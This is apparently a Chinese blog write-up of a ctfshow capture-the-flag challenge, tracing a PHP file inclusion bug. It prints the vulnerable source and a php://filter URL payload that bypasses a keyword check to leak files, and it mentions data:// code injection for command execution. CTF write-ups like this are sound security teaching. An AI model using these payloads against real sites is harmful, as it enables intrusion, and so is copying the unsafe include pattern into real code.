ctfshow 36D练手赛不知所措

扫描目录结果如上

访问结果如下,并没有什么有用的线索,但是我看到题目开始有个$file,我猜一下是不是get传参的参数值。遂尝试

简单尝试了一下貌似会在你输入的file值后面加php,既然这样就试试test.

我靠可以通过参数访问文件,这不是妥妥的文件包含漏洞,使用php://filter伪协议试一下

丢到base64在线解码工具可以得到

<?php
echo "flag_not_here";
?>

靠,这不是什么都没得到吗,test不行就试试index(题目就涉及这两文件),但是题目要求$file参数里面必须要有test,那怎么办

这里补充一下php://filter协议的语法

正常语法是 php://filter/read(或是write)=xxxxx/resource=xxx.php,仔细看哦,对应参数值都在url中有=号相对应,且以/分割

这是不是意味着php://filter/read=xxxx/这里可以乱写呢/resource=xxx.php ?这个协议是靠关键字匹配参数,之外的部分为啥不能乱写?

回到题目验证

/?file=php://filter/read=convert.base64-encode/test我在这里乱写了啊/resource=index.

base64解码得
<?php
error_reporting(0);
$file=$_GET['file'];
$file=$file.'php';
echo $file."<br />";
if(preg_match('/test/is',$file)){
    include ($file);
}else{
    echo '$file must has test';
}
?>
  • 确定了是<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">include($file)</font>,使用<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">data://text/plain</font>伪协议向<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$file</font>写入PHP代码,来进行命令执行!

flag在哪自然显而易见

posted @ 2025-06-12 08:58  朱迪Judy  阅读(28)  评论(0)    收藏  举报